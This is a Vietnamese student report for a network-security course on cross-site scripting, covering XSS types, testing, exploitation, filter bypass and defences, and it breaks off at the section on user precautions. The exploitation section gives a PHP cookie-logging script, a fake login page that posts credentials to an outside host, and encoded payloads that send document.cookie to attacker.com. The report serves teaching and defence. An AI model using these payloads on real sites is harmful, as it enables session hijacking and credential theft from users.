Kĩ thuật tấn công XSS

Màu nền
Font chữ
Font size
Chiều cao dòng

Kĩ thuật tấn công XSS

BÁO CÁO ĐỀ TÀI MÔN HỌC AN NINH MẠNG

KỸ THUẬT TẤN CÔNG XSS

 Giảng Viên : TH.S LÊ PHÚC

             Sinh Viên : TRẦN ĐÌNH NGỌC

     Lớp : D07THM1

MãSV : 407170045

Các bạn có thể download tài liệu có đủ hình ảnh trong bài viets tại:

http://www.mediafire.com/?xxoz4tml6rd6bjp

Mục lục

I. Giới thiệu chung. 3

II. Giới thiệu về XSS. 4

1. Tìm hiểu XSS. 4

2. XSS hiện tồn tại hai hình thức là Stored XSS và Reflected XSS. 4

2.1. Stored XSS. 4

2.2. Reflected XSS. 5

3. Mức độ nguy hiểm của XSS. 7

4. Mục tiêu mà XSS hướng tới.8

III.Hoạt động của XSS. 8

IV.Cảnh giác với XSS. 11

V. Kiểm tra lỗi XSS. 14

1. Và chúng ta có thể đưa ra hai cách chính sau. 14

1.1. Sử dụng Tool.14

1.2. Thử bằng code14

2. Khai thác lỗi XSS. 16

2.1. Tóm tắt các bước thực hiện. 17

3. Các cách thực hiện. 17

3.1. Nghiên cứu cách lấy cookies:17

3.2.Nghiên cứu cách lấy account.18

3.3. Tấn Công XSS Bằng Flash. 19

4. Attacker dùng XSS để lừa đảo. 21

5. Cách vượt qua cơ chế lọc ký tự. 22

VI. Phòng chống XSS. 23

1.    Với những dữ liệungười thiết kế và phát triển ứng dụng Web. 23

2.    Đối với người dùng.26

VIII. Phạm vi và tính khả thi của phương pháp tấn công bằng XSS. 27

IX. Đánh giá27

I. Giới thiệu chung

      Website ngày nay rất phức tạp và thường là các web động, nội dung của web được cập nhật thông qua các thành viên tham gia ở khắp mọi nơi trên thế giới. Và hầu hết các website này dùng Cookie để xác thực người dùng.

      Điều này đồng nghĩa với việc Cookie của ai thì người đó dùng, Nếu lấy được Cookie người dùng nào Hacker sẽ giả mạo được chính người dùng đó(điều này là hết sức nguy hiểm). Vậy làm sao để các hacker có thể lấy cookie của bạn? Có rất nhiều cách để các hacker làm việc đó, ở đây tôi xin trình bày một trong những cách mà hacker thường dùng, đó chính là họ nhờ vào lỗi Cross Site Scripting(XSS).

      Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công phổ biến nhất hiện nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển web và cả những người sử dụng web. Bất kì một website nào cho phép người sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS.

XSS được thực hiện trên các thẻ JavaScript, và các thẻ JavaScript chúng có thể làm được những công việc sau:

1. Thay đổi cấu trúc của toàn bộ trang web.

2. Tạo tùy ý các phần tử HTML.

3. Định tuyến lại các hình thức liên kết

4. Phục hồi dữ liệu, xác thực

5. Gửi và nhận dữ liệu

6. Đọc các tổ hợp phím.

II. Giới thiệu về XSS

 1. Tìm hiểu XSS 

       Cross-Site Scripting hay còn được gọi tắt là XSS (thay vì gọi tắt là CSS để tránh nhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tấn công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP ...) những thẻ HTML hay những đoạn mã script nguy hiểm có khả năng đánh cắp hay thiết lập được những thông tin quan trọng như cookies, mật khẩu, usename…. Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng các Client-Site Script như JavaScript,  JScript, DHTML và cũng có thể là cả các thẻ HTML.

Phương pháp này không nhằm vào máy chủ hệ thống mà chủ yếu tấn công trên chính máy người sử dụng. Hacker sẽ lợi dụng sự kiểm tra lỏng lẻo từ ứng dụng và hiểu biết hạn chế của người dùng cũng như biết đánh vào sự tò mò của họ dẫn đến người dùng bị mất thông tin một cách dễ dàng.

Thông thường hacker lợi dụng địa chỉ URL để đưa ra những liên kết là tác nhân kích hoạt những đoạn chương trình được viết bằng ngôn ngữ máy khách như VBScript, JavaScript…được thực thi trên chính trình duyệt của nạn nhân

 2. XSS hiện tồn tại hai hình thức là Stored XSS và Reflected XSS

 2.1. Stored XSS

         Stored XSS là hình thức tấn công mà ở đó cho phép kẻ tấn công có thể chèn một đoạn script nguy hiểm (thường là Javascript) vào website của chúng ta thông qua một chức năng nào đó (vd: viết lời bình, guestbook, gởi bài..), để từ đó khi các thành viên khác truy cập website sẽ bị dính mã độc từ kẻ tấn công này, các mã độc này thường được lưu lại trong database của website chúng ta nên gọi là Stored. Stored XSS phát sinh do chúng ta không lọc dữ liệu do thành viên gởi lên một cách đúng đắn, khiến cho mã độc được lưu vào Database của website.

 2.2. Reflected XSS

Trong hình thức này, kẻ tấn công thường gắn thêm đoạn mã độc vào URL của website chúng ta và gởi đến nạn nhân, nếu nạn nhân truy cập URL đó thì sẽ bị dính mã độc. Điều này xảy ra do ta không chú ý filter input từ URL của website mình.

Tấn công XSS là tấn công nguy hiểm, cho phép kẻ tấn công ăn cắp thông tin trên máy nạn nhân thông qua javascript như ăn cắp cookie, chèn mã độc để chiến quyền điều khiển…

           XSS là một trong những lỗi phổ biến, có rất nhiều trang web bị mắc phải lỗi này, chính vì thế ngày càng có nhiều người quan tâm đến lỗi này.

 Gần đây, theo Brian Krebs của tờ Washington Post báo cáo rằng hàng ngàn trang web không an toàn đã được xác định vào năm ngoái, và trang  Xssed.com đưa ra danh sách gần 13.000 trang trong đó có nhiều lỗ hổng cross-site scripting (XSS). 

Ví dụ 1: Một đoạn url mà hacker chèn Script vào để lấy cookie của người dùng.

http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_te  xt=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

3. Mức độ nguy hiểm của XSS

Theo thống kê về các lỗ hổng bảo mật thường bị tấn công nhất vào năm 2009

Cross-Site Scripting (XSS) chiếm một tỉ lệ rất cao so với các phương pháp tấn công khác.

Kĩ thuật XSS được mô tả lần đầu tiên cách đây 5 năm (từ năm 2007 đến 2011) và hầu hết các khả năng tiềm ẩn của kĩ thuật này đã được biết đến. Tuy nhiên chúng ta mới chỉ khắc phục được một phần của nó. Không phải vô tình mà Yahoo Mail lại để sót một lỗi XSS trong bộ lọc của mình. Một phương pháp tối ưu vẫn còn đang ở phía trước. 

4. Mục tiêu mà XSS hướng tới.

XSS khai thác thường được sử dụng để đạt được các kết quả độc hại sau đây:

* Truy cập thông tin nhạy cảm hoặc bị hạn chế

* Ăn cắp tiền (giao dịch ngân hàng, mua hàng online….)

* Theo dõi thói quen lướt web của người dùng

* Thay đổi năng của trình duyệt

* Bôi nhọ danh tiếng của một cá nhân hay công ty

* Hủy hoại ứng dụng Web.

* Tấn công từ chối dịch vụ

...

III.Hoạt động của XSS

       XSS cho phép attacker chèn các đoạn mã vào link của đường dẫn, để thực hiện trên trình duyệt của người dùng, dẫn đến việc mất cookies, mật khẩu, session hay chèn virus…

Thường thì XSS có dạng như sau:

http://www.xxx.vn//index.php?pg=news&cat=<script>alert(“Lỗi XSS”)</script>.

Và nội dung xuất hiện trên trình duyệt là một cái popup có thông tin là  ‘Lỗi XSS’.

Ở trên ví dụ 1 trên chỉ minh họa một cách đơn giản là thêm đoạn mã của mình vào trang Web  thông  qua  URL.  Nhưng  thực  sự  thì  có  rất  nhiều  cách  để  thêm  đoạn  mã JavaScript  với  mục  đích  tấn  công  kiểu  XSS.  Hacker  có  thể  dễ  dàng  lợi  dụng Document Object Model (DOM) để thay đổi ngữ cảnh và nội dụng Web ứng dụng.

Ví dụ 2: Sau đây là danh sách nơi có thể chèn đoạn mã:

<a href= "javas&#99;ript&#35;[code]">

<div>

<img>

<img>

<input>

<bgsound>

&<script>[code]</script>

&{[code]};

<img src=&{[code]};>

<liên kết>

<iframe>

<img>

<img>

<a>

<meta http-equiv="refresh">

<body>

<div>

<div>

<div>

<div>

<style>[code]</style>

<object>

<script>[code]</script>

<imgonmouseover="[code]">

<img>

<xml>

<xml><a><b>&lt;script>[code]&lt;/script>;</b></a></xml>

(tài liệu từ http://online.securityfocus.com/archive/1/272037/2002-05-09/2002-05-15/0)

Phần in đậm là phần có thể đặt đoạn mã đánh cắp thông tin.

        Về cơ bản XSS cũng giống như SQL Injection hay Source Injection, nó cũng là các yêu cầu (request) được gửi từ các máy client tới server nhằm chèn vào đó các thông tin vượt quá tầm kiểm soát của server

 Nó có thể là một request được gửi từ các form dữ liệu hoặc cũng có thể đó chỉ là các URL như là :

http://www.example.com/search.cgi?query=<script>alert('XSS was found !');</script>

Và rất có thể trình duyệt của bạn sẽ hiện lên một thông báo "XSS was found !".

        Các đoạn mã trong thẻ script không hề bị giới hạn bởi chúng hoàn toàn có thể thay thế bằng một file nguồn trên một server khác thông qua thuộc tính src của thẻ script. Cũng chính vì lẽ đó mà chúng ta chưa thể lường hết được độ nguy hiểm của các lỗi XSS.

         Nhưng nếu như các kĩ thuật tấn công khác có thể làm thay đổi được dữ liệu nguồn của web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối với website ở phía client mà nạn nhân trực tiếp là những người khách duyệt site đó. Tất nhiên đôi khi các hacker cũng sử dụng kĩ thuật này đề deface các website nhưng đó vẫn chỉ tấn công vào bề mặt của website.

        Thật vậy, XSS là những Client-Side Script, những đoạn mã này sẽ chỉ chạy bởi trình duyệt phía client do đó XSS không làm ảnh hưởng đến hệ thống website nằm trên server.

       Mục tiêu tấn công của XSS không ai khác chính là những người sử dụng khác của website, khi họ vô tình vào các trang có chứa các đoạn mã nguy hiểm do các hacker để lại họ có thể bị chuyển tới các website khác, đặt lại homepage, hay nặng hơn là mất mật khẩu, mất cookie thậm chí máy tính bạn có thể sẽ bị cài các loại virus, backdoor, worm ...

      Trong kĩ thuật XSS thường thì các link mà hacker dùng đều đã được mã hóa nên ngưới dùng khó mà phát hiện ra. Sau đây là cách mã hoá(HEX) các kí tự thường dùng trong lỗi XSS của thanh AddressBar của Browser.

Ví dụ 3: Một địa chỉ đã được mã hóa HEX. http://vieclambank.com/search.php?s=">%3C%73%63%72%69%70%74%20%73%72%63%25%33%44%68%74%74%70%25%33%41%25%32%46%25%32%46%6A%73%6E%67%6F%63%2E%76%6E%6E%2E%6D%73%25%32%46%78%73%73%2E%6A%73%3E%3C%25%32%46%73%63%72%69%70%74%3E

IV.Cảnh giác với XSS 

       Có lẽ không cần liệt kê những nguy hiểm của XSS, nhưng trên thực tế nếu bạn có một chút hiểu biết về XSS bạn sẽ không còn phải sợ chúng nữa. Thật vậy bạn hoàn toàn có thể tránh khỏi việc bị tấn công bởi những lỗi XSS nếu hiểu kĩ về nó.

       Các thẻ HTML đều có thể là công cụ cho các cuộc tấn công bởi kĩ thuật XSS, trong đó 2 thẻ IMG và IFRAME có thể cho phép trình duyệt của bạn load thêm các website khác khi các lệnh HTML được hiển thị. Ví dụ như BadTrans Worm một loại worm sử dụng thẻ IFRAME để lây lan trong các hệ thống có sử dụng Outlook hay Outlook Express:

--====_ABC1234567890DEF_====

   Content-Type: multipart/alternative;

                   boundary="====_ABC0987654321DEF_===="

 --====_ABC0987654321DEF_====

Content-Type: text/html;

   Content-Transfer-Encoding: quoted-printable

   <HTML><HEAD></HEAD><BODY bgColor=3D#ffffff>

   <iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0>

   </iframe></BODY></HTML>

 --====_ABC0987654321DEF_====--

 --====_ABC1234567890DEF_====

   Content-Type: audio/x-wav;

   Content-Transfer-Encoding: base64

   Content-ID:<EA4DMGBP9p>

          Đôi khi đang đọc thư bạn bị chuyển sang một website khác, bạn có nghĩ rằng bạn có thể mất mật khẩu. Trước đây, hàng loạt các hộp thư của Yahoo bị mất mật khẩu hay bị đọc trộm thư mà không rõ nguyên nhân. Có lẽ khi đó các bạn mở các bức thư mà không hề cảnh giác với XSS, đâu phải chỉ các file đính kèm mới có thể gây nguy hiểm cho bạn. Chỉ cần với một đoạn mã HTML gửi trong thư bạn đã hoàn toàn bị mất cookie của mình:

<formaction="http://attacker.com/save.asp"method="post"name="XSS">

 <inputtype="hidden"name="cookie">

 </form>

 <imgborder="0"onmouseover="window.document.XSS.cookie.value = document.cookie; window.document.XSS.submit();"src="none.jpg">

        Vậy là khi bạn nhận thư, và nếu bạn vô tình đưa con chuột qua bức ảnh gửi kèm thì cũng có nghĩa là bạn đã bị lấy mất cookie. Và với cookie lấy được, các hacker có thể dễ dàng login hòm thư của bạn mà không cần biết mật khẩu của bạn. Thực sự tôi cũng rất bất ngờ khi tìm thấy rằng Yahoo khi đó đã ngăn được hầu hết các mối đe doạ từ các thẻ HTML lại bỏ qua thẻ IMG. Tuy nhiên cho tới ngày 12/7/2003 Yahoo đã kịp thời vá lỗ hồng nghiêm trọng này, nhưng không phải vì vậy mà bạn mất cảnh giác với những "lỗi" của website. Nếu như bạn gặp một liên kết có dạng:

http://example.com/s...document.cookie)</script>

        Chắc chắn bạn sẽ phải xem xét kĩ trước khi click vào. Có thể là sẽ tắt JavaScript cho trình duyệt của bạn trước khi click vào hay ít nhất cũng có một chút cảnh giác. Nhưng nếu bạn gặp một liên kết như thế này thì sao:

http://example.com/s...72%79%3D<script>

         Đó thực chất chính là liên kết ban đầu nhưng chỉ khác nó đã được mã hoá. Một phần kí tự của liên kết đã được thay thế bởi mã HEX của nó, tất nhiên trình duyệt của bạn vẫn hiểu địa chỉ đó thực sự là gì. Bởi vậy bạn có thể sẽ gặp phải các đoạn mã nguy hiểm nếu như bạn mất cảnh giác với XSS.

       Tất nhiên còn rất nhiều những kiểu tấn công khác, trong đó có những kiểu đã được tìm ra có những kiều chưa lường hết được, những trong khuôn khổ bài viết này tôi hi vọng với một vài ví dụ vừa rồi, các bạn cũng đã hiểu phần nào về XSS.

V. Kiểm tra lỗi XSS

                 Nếu như các bạn sử dụng các mã nguồn của các chương trình có sẵn bạn có thể tham khảo danh sách các lỗ hổng của chương trình bạn trên các trang web chứa các thông tin về bảo mật như securityfocus.com, securiteam.com... Tuy nhiên nếu các website được tự viết mã nguồn thì bạn không thể áp dụng phương pháp trên. Trong trường hợp này bạn cần đến các chương trình scanner tự động. Nếu như bạn sử dụng trong môi trường Windows bạn có thể dùng N-Stealth hay AppScan, đó là những chương trình scan khá tuyệt, bạn không chỉ kiểm tra được các lỗi XSS mà nó còn cho phép bạn kiểm tra các lỗi khác trong Website đó, Server đó.

Tất nhiên đâu phải lúc nào bạn cũng cần kiểm tra tất cả, nếu như bạn chỉ muốn kiểm tra các lỗi XSS có trong website, bạn chỉ cần sử dụng screamingCSS. Đó là một Perl Script sẽ mở các kết nối tới website (sử dụng Perl's socket) để kiểm tra các lỗi XSS của bạn. Hơn nữa bạn có thể sử dụng nó trong cả môi trường Unix lẫn Windows.

1. Và chúng ta có thể đưa ra hai cách chính sau

1.1. Sử dụng Tool.

     Sử dụng nhiều chương trình dò quét lỗi của ứng dụng web, ví dụ như chương trình Web Vulnerability Scanner để dò quét lỗi XSS.

1.2. Thử bằng code

Thực hiện 5 bước:

Bước 1: Mở website cần kiểm tra

Bước 2: Xác định các chỗ (phần) cần kiểm tra XSS. 1 Site bất kỳ bao giờ cũng có các phần: Search, error message, web form. Chủ yếu lỗi XSS nằm ở phần này, nói chung XSS có thể xảy ra ở chỗ nào mà người dùng có thể nhập dữ liệu vào và sau đó nhận được một cái gì đó. Ví dụ chúng ta nhập vào chuỗi ‘XSS’

Bước 3: Xác minh khả năng site có bị lỗi XSS hay không bằng cách xem các thông tin trả về. Ví dụ chúng ta thấy thế này: ‘Không tìm thấy XSS…’ , hay là ‘Tài khoản XSS không chính xác’, ‘Đăng nhập với XSS không thành công’… thì khi đó khả năng chỗ đó bị dính XSS là rất cao.

Bước 4: Khi đã xác định chỗ có khả năng bị dính lỗi XSS thì chúng ta sẽ chèn những đoạn code của chúng ta vào để thử tiếp, ví dụ như sau:

Chèn đoạn code này: < script>alert('XSS')< /script>  vào ô bị lỗi và nhấn nút Submit, nếu chúng ta nhận được một popup có chữ ‘XSS’ thì 100% bị dính XSS.

Ta có thể nhập vào form lỗi hay form tìm kiếm các thẻ sau:

<script>alert('CSS Vulnerable')</script>

<i*g csstest=javascript:alert('CSS Vulnerable')>

&{alert('CSS Vulnerable') };

<script>window.open( “http://www.google.com/” )</script>

<META HTTP-EQUIV="refresh">

<EMBED></EMBED>

Ví dụ 4: Thông báo cho biết chắc chắn web đã bị lỗi XSS.

          Nhưng xin chú ý , thỉnh thoảng vẫn có trường hợp website đó bị dính XSS nhưng vẫn không xuất hiện cái popup thì buộc lòng bạn phải VIEW SOURCES (mổ bụng) nó ra để xem .

          Khi view sources nhớ kiếm dòng này < script>alert('XSS)< /script> , nếu có thì hết chạy , XSS đây rồi.

Gọi http://websitebiloi.com/ là site bị dính lỗi XSS và ta tìm được nơi bị lỗi như thế này : http://websitebiloi.com/index.php?page=<script...<>  nghĩa là ta có thể chèn code ngay trên thanh ADDRESS.

Bước 5: Lên kế hoạch kịch bản tấn công

 2. Khai thác lỗi XSS

Khác với các lỗi khác là gây hại trực tiếp lên hệ thống chứa web site, còn XSS lại không gây hại đến hệ thống của sever mà đối tượng tấn công chủ yếu của XSS lại là người dùng!

Ứng dụng Web thường lưu trữ thông tin quan trọng ở cookie. Cookie là mẩu thông tin mà ứng dụng lưu trên đĩa cứng của người sử dụng. Nhưng chỉ ứng dụng thiết lập ra cookie thì mới có thể đọc nó. Do đó chỉ khi người dùng đang trong phiên làm việc của  ứng  dụng  thì  hacker  mới  có  cơ  hội  đánh  cắp  cookie.  Công  việc  đầu  tiên  của hacker là tìm trang đích để dụ người dùng đăng nhập sau khi đã tìm ra lỗ hổng trên ứng dụng đó.

Sau đây là các bước khai thác XSS theo truyền thống:

2.1. Tóm tắt các bước thực hiện

Bước  1: Hacker biết được  người  dùng đang  sử dụng  một ứng  dụng Web có lỗ

hỏng XSS.

Bước 2: Người dùng nhận được 1 liên kết thông qua email hay trên chính trang Web (như  trên  guestbook,  banner  dễ  dàng  thêm  1  liên  kết  do  chính hacker tạo ra…). Thông thường hacker khiến người dùng chú ý bằng những câu kích thích sự tò mò của người dùng như “ Kiểm tra tài khoản”, “Một phần thưởng hấp dẫn đang chờ bạn”…

Bước  3: Chuyển nội  dung  thông  tin (cookie, tên,  mật  khẩu…)  về  máy  chủ 

của hacker.

Bước 4:  Hacker tạo một chương trình cgi (ở  ví  dụ 3 này là steal.cgi) hoặc một

trang Web để ghi nhận những thông tin đã đánh cắp vào 1 tập tin

Bước 5: Sau khi nhận được thông tin cần thiết, hacker có thể sử dụng để thâm

nhập vào tài khoản của người dùng.

3. Các cách thực hiện

   Để hiểu rõ hơn về các tấn công XSS chúng ta xem xét ví dụ thực tế sau:

   3.1. Nghiên cứu cách lấy cookies:

Thứ nhất: Bạn hãy tạo một file info.txt và upload lên host của bạn.

Thứ hai: Tạo file cookie.asp hoặc cookie.php có nội dung sau và upload file

này lên host của bạn như sau:

<?php

$cookie = $_GET['c'];

$ip = getenv('REMOTE_ADD');

$date = date("j F, Y, g:i, a");;

$referer = getenv('HTTP_REFERER');

$fp = fopen('info.txt','a');

fwrite($fp,'Cookie: '.$cookie. 'IP:' .$ip. 'date:' .$date. 'Referer: '.$referer.' ');

fclose($fp);

header("location: http:// hostxss.com/");

?>

Thứ ba: Trên những phần trả lời hay góp ý trên diễn đàn hoặc email hoặc website (bị lỗi XSS) chúng ta để một link có lời giới thiệu hay thông báo gây chú ý (có hostname là của trang web bị nhiễm XSS) dạng như sau :

http:// hostxss.com /search.cgi?query=<script>alert(document.cookie)</script> 

hoặc http:// hostxss.com /search.cgi?%71%75...72%69%70%74%3E(đã được mã hóa)

3.2.Nghiên cứu cách lấy account.

Thứ nhất: Bạn hãy tạo một file info.txt và upload lên host của bạn.

Thứ hai: Tạo thêm một file xss.jsvà cũng upload file này lên host của bạn:

File này là để tạo ra một facesite (trang web giả giống trang web thật) để khi người dùng nhập username và password thì chúng ta sẽ điều hướng và lưu thông tin trên file info.txt.

document.body.innerHTML=‘

<img src=images/system/logo_main.gif  alt=VieclamBank width=230 height=48 border=0>

<BR><br><br>

<center>Thông tin đăng nhập<BR>

<form action=http://www.hostupfile.com/cookie.php method=POST><table><TR><TD>Tên đăng nhập:</TD><TD><input name=ten></TD></TR><TR><TD>Mật khẩu:</TD><TD><input name=mk type=password></TD></TR><TR><TD></TD><TD><input type=submit value=Login></TD></TR></table></form>

</center>'

Thứ ba: Chúng ta để một link có lời giới thiệu hay thông báo gây chú ý (có hostname là của trang web bị nhiễm XSS) . Khi đó tạo một link dạng như sau và gửi mail hay up link lên trang web có nhiễm XSS: (sau hostname ta thêm thẻ Script vào)

http://hostxss.com/search.php?s="><script src%3Dhttp%3A%2F%2Fjsngoc.vnn.ms%2Fxss.js><%2Fscript>

Khi đó bên phía người dùng sẽ có một trang web giả mạo(face site): Người dùng không phát hiện ra và khi  đăng nhập thì cookie hay usename và password sẽ được lưu lại trong file info.txt trên server của hacker.

3.3. Tấn Công XSS Bằng Flash

Ngoài những cách đưa một đoạn mã nguy hiểm thì hacker còn có thể lợi dụng những tập tin flash để đánh cắp thông tin.

Macromedia Flash cho phép lập trình bằng một ngôn ngữ kịch bản đã được xây dụng sẵn trong Flash là ActionScript. ActionScript có cú pháp đơn giản và tương tự như JavaScript, C hay PERL. Ví dụ hàm getURL() dùng để gọi một trang web khác, tham số thường là một URL chẳng hạn như “http://www.yahoo.com”.

Ví dụ: getURL(“http://www.yahoo.com”)

Tuy nhiên có thể thay thế URL bằng JavaScript:

getURL(“javascript:alert(document.cookie)”)

Ví dụ  trên sẽ làm xuất hiện bảng thông báo chứa cookie của trang web chứa tập tin flash đó. Như vậy là trang web đó đã bị tấn công, bằng cách chèn một đoạn JavaScript vào ứng dụng Web thông qua tập tin flash. Một ví dụ khác rõ hơn về cách tấn công này là: Đây là đoạn lệnh trong tập tin flash và sẽ được thi hành khi tập tin flash được đọc:

getURL(“javascript:location(‘http://www.attacker.com?newcookie=’+do

cument.cookie)”)

Như vậy là khi người  dùng  xem  trang  web  chứa tập  tin  flash  này  thì  ngay  lập tức cookie của họ do trang web chứa tập tin flash đó tạo ra sẽ gửi về cho hacker.

Cách viết Action Scipt trong Flash

DeviantArt là một trang web nổi tiếng, cho phép thành viên của nó gửi các tập tin flash lên cho mọi thành viên cùng xem. Vì thế hacker có thể ăn cắp cookie của các thành viên và cũng có thể là tài khoản của người quản trị web, bằng cách đăng kí làm thành viên của ứng dụng Web này, gửi tập tin flash lên máy chủ và đợi các nạn nhân xem tập tin flash đó. Dưới đây là địa chỉ liên kết dến một tập tin flash như đã trình bày trong ví dụ trên.

http://www.deviantart.com/deviation/1386080

Ngoài ra các trang web cho phép thành viên gửi dữ liệu dạng HTML như diễn đàn, các chức năng tạo chữ kí riêng, …  cũng có thể là mục tiêu của cách tấn công này, bằng cách nhập đoạn mã gọi tập tin flash vào.

<OBJECT

codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/s

wflash.cab#version=6,0,0,0"

WIDTH="60"

id="1"

ALIGN="">

<PARAM NAME=movie>

<PARAM NAME=quality VALUE=high>

<PARAM NAME=bgcolor VALUE=#FF9900>

<EMBED

quality=high

bgcolor=#FF9900

WIDTH="60"

HEIGHT="48"

NAME="1"

ALIGN=""

TYPE="application/x-shockwave-flash"      

PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer">

</EMBED>

</OBJECT>

4. Attacker dùng XSS để lừa đảo

Ngoài việc lấy cookies, các attacker còn có thể hướng trình duyệt của người dùng đến trang web mà Attacker thiết kế sẵn!

Sau khi attacker đã có thông tin về lỗi XSS, họ có thể dùng IFRAME, code như sau:

<br /><br /><div><iframe></iframe></div><br /><br />

( đoạn này dùng để mở 1 trang web mà người không biết!)

<br /><br /><div><meta></div><br /><br />

Ngoài ra bạn hoàn toàn có thể dùng hàm open, close window để chuyển hướng web sang một trang web khác bạn muốn.

Mình còn cách này hay hơn : Dùng hàm write. In ra một thẻ div đặt độ rộng là 1024, cao 800. possion : absulitly, left=0, top=0. Như vậy là cái div vừa tạo sẽ che toàn bộ màn hình, thế là người dùng đã vào trang lừa đảo của các attacker!

Attacker có thể lợi dụng lỗi này để fishing trên các Hệ thống thanh toán, game, shopping, Ngân hàng, Tín dụng... hoặc là chèn virus!

Attacker có thể lợi dụng lỗi này để fishing trên các Hệ thống thanh toán, game, shopping, Ngân hàng, Tín dụng...

5. Cách vượt qua cơ chế lọc ký tự

Nhiều coder khôn khéo lọc hết các kỹ tự đặc biệt như ' hay + để tránh các việc chèn lệnh trên URL để tấn công SQL hay XSS nhưng một attacker cao tay sẽ dễ dàng giải quyết việc này bằng cách sử dụng mã hóa HEX thay thế để khai thác

-----------------------------------

Hex Usage:

http://www.sitebiXSS.com/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72 %69%70%74%3e

---------------------------------

link site chuyển đổi sang số HEX:

http://www.swingnote.com/tools/txt2hex.php hoặc http://ha.ckers.org/xss.html

VI. Phòng chống XSS

Như đã đề cập ở trên, một tấn công XSS chỉ thực hiện được khi gửi một trang web cho trình duyệt web của nạn nhân có kèm theo mã script độc của kẻ tấn công.

Người ta không lường hết được mức độ nguy hiểm của XSS nhưng cũng không quá khó khăn để ngăn ngừa XSS. Có rất nhiều cách để có thể giải quyết vấn đề này. OWASP (The Open Web Application Standard Project) nói rằng để có thể xây dựng các website bảo mật cao đảm bảo những trang phát sinh động không chứa các tag của script, đối với các dữ liệu của người sử dụng bạn nên làm những việc sau:

1.     Với những dữ liệungười thiết kế và phát triển ứng dụng Web

Những dữ liệu, thông tin nhập của người dùng, người thiết kế và phát triển ứng dụng Web cần phải thực hiện vài bước cơ bản sau:

Chỉ chấp nhận những dữ liệu hợp lệ.

Từ chối nhận các dữ liệu hỏng.

Liên tục kiểm tra và thanh lọc dữ liệu.

Tạo ra danh sách những thẻ HTML được phép sử dụng, xóa bỏ thẻ <script> hoặc  

    đóng các thẻ Script trong  thẻ <comment> coi đoạn Script đó như là một đoạn

          trích dẫn thôi.

Lọc ra bất kì một đoạn mã JavaScript/Java/VBScript/ActiveX/Flash Related

Lọc dấu nháy đơn hay kép

Lọc kí tự Null

Xóa những kí tự “ > ”, “ < ” hoặc Output Encoding các dòng như sau

< &lt;          > &gt;

( &#40;       ) &#41;

# &#35; & &#38;

Vẫn cho phép nhập những kí tự đặc biệt nhưng sẽ được mã hóa theo chuẩn riêng

Mã hóa

Lỗi XSS có thể tránh được khi máy chủ Web đảm bảo những trang phát sinh

được mã hóa (encoding) thích hợp để ngăn chạy chạy các script không mong muốn.

Mã hóa phía máy chủ là một tiến trình mà tất cả nội dung phát sinh động sẽ đi qua một hàm mã hóa nơi mà các thẻ script sẽ được thay thể bởi mã của nó.

Nói chung, việc mã hóa(encoding) được khuyến khích sử dụng vì nó không yêu cầu bạn phải đưa ra quyết định những kí tự nào là hợp lệ hoặc không hợp lệ.Tuy nhiên việc mã hóa tất cả dữ liệu không đáng tin cậy có thể tốn tài nguyên và ảnh hưởng đến khả năng thực thi của một số máy chủ

Tuy nhiên trên thực tế, một số trường hợp bạn phải chấp nhận mọi loại dữ liệu hay không có một bộ lọc phù hợp. Chính vì vậy bạn phải có những cách riêng để giải quyết.

         Một trong những cách hay sử dụng là bạn mã hoá các kí tự đặc biệt trước khi in ra website, nhất là những gì có thể gây nguy hiểm cho người sử dụng. Trong trường hợp này thẻ script sẽ được đổi thành script. Như vậy nó sẽ vẫn được in ra màn hình mà không hề gây nguy hiểm cho người sử dụng.

Tôi lấy ví dụ với script search.cgi với mã nguồn là:

#!/usr/bin/perl

                use CGI;

                my $cgi = CGI->new();

                my $query = $cgi->param('query');

                print $cgi->header();

                print"You entered $query";

       Đây hoàn toàn là một script có lỗi bởi vì nó in ra trực tiếp dữ liệu được nhập vào. Dĩ nhiên là khi in ra, nó sẽ in ra dưới dạng đoạn mã HTML, như thế nó không chỉ không in ra chính xác những dữ liệu vào một cách trực quan mà còn có tiềm ẩn lỗi XSS.

Như đã nói ở trên, để có thể giải quyết vấn đề này, chúng ta có thể mã hoá các kí tự đặc biệt của HTML với hàm HTML::Entities::encode(). Như vậy ta có thể có một mã nguồn hoàn hảo hơn như sau:

#!/usr/bin/perl

           use CGI;

           use HTML::Entities;

      my $cgi = CGI->new();

           my $text = $cgi->param('text');

          print $cgi->header();

                print"You entered ", HTML::Entities::encode($text);

         Tất nhiên với phương pháp này bạn cũng có thể áp dụng đối với các ngôn ngữ Web Application khác (ASP, PHP...). Để kiểm tra việc lọc và mã hoá dữ liệu trước khi in ra, các bạn có thể dùng một chương trình được viết bằng ngôn nhữ PHP, đặc biệt nó được thiết kế để phòng chống các lỗi XSS. Bạn có thể lấy mã nguồn chương trình từ http://www.mricon.co.../phpfilter.html Lọc và mã hoá các dữ liệu cho vấn là cách tốt nhất để chống XSS nhưng nếu bạn đang sử dụng mod_perl trên Apache Server thì bạn có thể dùng ngay module Apache::TaintRequest. Khi đó mã nguồn chương trình sẽ có dạng:

useApache::TaintRequest;

                my $apr =Apache::TaintRequest->new(Apache->request);

                my $text = $apr->param('text');

                $r->content_type("text/html");

                $r->send_http_header;

                $text =~ s/[^A-Za-z0-9]//;

                $r->print("You entered ", $text);

2.     Đối với người dùng.

